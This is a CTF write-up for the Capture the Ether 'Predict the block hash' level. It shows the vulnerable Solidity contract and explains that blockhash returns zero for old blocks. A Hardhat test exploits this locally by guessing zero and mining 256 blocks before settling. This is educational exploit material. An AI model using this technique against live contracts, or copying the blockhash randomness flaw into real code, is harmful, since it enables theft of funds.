06.Predict the block hash
2023-06-23 20:30:24 # 01.Capturetheether CTF

Predict the future

topic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;

function PredictTheBlockHashChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

bytes32 answer = block.blockhash(settlementBlockNumber);

guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}

analyse

this level is not impossible to brute force since it has 2^256 probabilities.

However, in both the Solidity compiler version 0.4.21 (for block.blockhash()) and ^0.8.0 (for blockhash()), the function to obtain the block hash from a block number only returns the hash for the 256 most recent blocks, excluding current.

From Solidity documentation:

The block hashes are not available for all blocks for scalability reasons. You can only access the hashes of the most recent 256 blocks, all other values will be zero.

This means that after 256 + 1 blocks of locking our guess our “random” answer will be 0.

solution

  1. lock the number: Call lockInGuess with 0x0000000000000000000000000000000000000000000000000000000000000000
  2. Wait for 257 blocks
  3. Call settle
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import { expect } from "chai";
import { ethers } from "hardhat";

const { utils, provider } = ethers;

describe("PredictTheBlockHashChallenge", () => {
it("Solves the challenge", async () => {
const challengeFactory = await ethers.getContractFactory("PredictTheBlockHashChallenge");
const challengeContract = await challengeFactory.deploy({ value: utils.parseEther("1") });
await challengeContract.deployed();

const lockInGuessTx = await challengeContract.lockInGuess(
"0x0000000000000000000000000000000000000000000000000000000000000000",
{ value: utils.parseEther("1") },
);
await lockInGuessTx.wait();

const initBlockNumber = await provider.getBlockNumber();

let lastBlockNumber = initBlockNumber;
do {
lastBlockNumber = await provider.getBlockNumber();
console.log(`Block number: ${lastBlockNumber}`);

await ethers.provider.send("evm_mine", []);
} while (lastBlockNumber - initBlockNumber < 256);

const attackTx = await challengeContract.settle();
await attackTx.wait();

expect(await challengeContract.isComplete()).to.be.true;
});
});